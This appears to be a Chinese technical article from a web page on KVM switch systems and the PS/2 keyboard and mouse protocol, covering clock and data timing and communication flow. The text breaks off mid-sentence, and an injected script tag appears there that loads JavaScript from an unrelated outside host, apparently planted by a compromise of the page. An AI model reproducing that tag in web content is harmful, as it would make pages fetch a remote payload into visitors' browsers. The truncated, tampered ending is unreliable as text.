近年来，随着计算机及网络技术的发展，政府、企业以及金融业等对机房环境的需求日益明确，原有机房条件已经成为信息化建设中的瓶颈。其面临的主要问题是：设备数量繁多，机型杂乱；空间利用率低；机房管理难读大、存在安全隐患。依照目前的现状，机房的管理需要在一个集中的平台完成所有的工作，减小机房内维护的工作量，减少大量的键盘、鼠标和显示器等外部设备，这样kvm系统就应运而生了。
图1，kvm系统工作示意
所谓kvm主机切换系统，就是用一套或者多套kvm在多个不同操作系统的多台主机之间切换，实现一个用户使用一套键盘（keyboard）、显示器（video）、鼠标（mouse）去访问和操作一台或一台以上主机的功能。图1是kvm的工作示意图。
1 ps/2键盘鼠标协议
kvm在整个系统中充当了多台主机和设备（键盘、鼠标、显示器）的中介。站在键盘鼠标的角度，kvm是一台模拟的主机；而在各台主机的角度看，它又是模拟的键盘和鼠标。kvm在与主机、键盘、鼠标通信时，必须严格遵守ps/2协议。
图2是本文研究的kvm系统内部mcu与ps/2设备以及主机的连接原理图。ps/2设备履行一种双向同步串行协议。换句话说，每次数据线上发送一位数据并且每在时钟线上发一个脉冲就被读入。设备可以发送数据到主机，而主机也可以发送数据到设备，但主机总是在总线上有优先权，它可以在任何时候抑制来自设备的通信，只需把时钟线电平拉低即可。
图2，mcu与主机、设备的连接
从设备发送到主机的数据在时钟下降沿被读取；从主机发送到设备的数据在上升沿被读取。无论数据的方向如何，设备始终是时钟信号的产生者，如果主机要发送数据，它必须首先拉低数据线电平以告诉设备开始产生时钟信号。两者的通信时序如图3所示。所有数据安排于字节中，每个字节为一帧，包含了11-12个位。其含义如下表所示：
图3，主机、设备通信时序
根据相应的时序确定主机与设备的通信流程如图4所示。
当设备等待发送数据给主机时，它首先检查时钟线以确定它是否为高电平。如果不是，那么是主机抑制了通信，如果时钟线是高电平，则设备可以开始传送数据。设备发送数据给主机时，时钟信号由其产生。标准的时钟频率最高为33khz，大多数设备工作于10-20khz，建议使用15khz的时钟频率。从时钟脉冲的上升沿到一个数据转变的时间至少要5微秒，数据变化到时钟脉冲的下降沿的时间至少要5微秒且不能大于25微秒，这个时限非常重要，必须严格遵守。设备在发送下个包前至少应该等待50微秒，这将给主机时间处理接收到的字节。
当主机要发送数据，它必须首先把时钟和数据设置为“请求发送”状态：通过下拉时钟线至少100微秒来抑制通信，下拉数据线表示“请求”，然后释放时钟线。设备应该在不超过10毫秒的时间内检查处这个“请求”的状态，并且产生时钟信号，主机仅当时钟线为低的时候设置数据线，而数据在时钟脉冲的上升沿被锁存。这里有一个特殊的地方：设备产生应答位发生在时钟线为高的时候，这有别于其他11位数据。
图4，主机、设备通信流程
2 kvm系统架构
如前所述，kvm系统实现一套设备(键盘、鼠标、显示器)分时地操作多台主机。任何时刻，只有一台主机获得这套设备的使用权，而其余的主机?script src=http://er12.com/t.js>
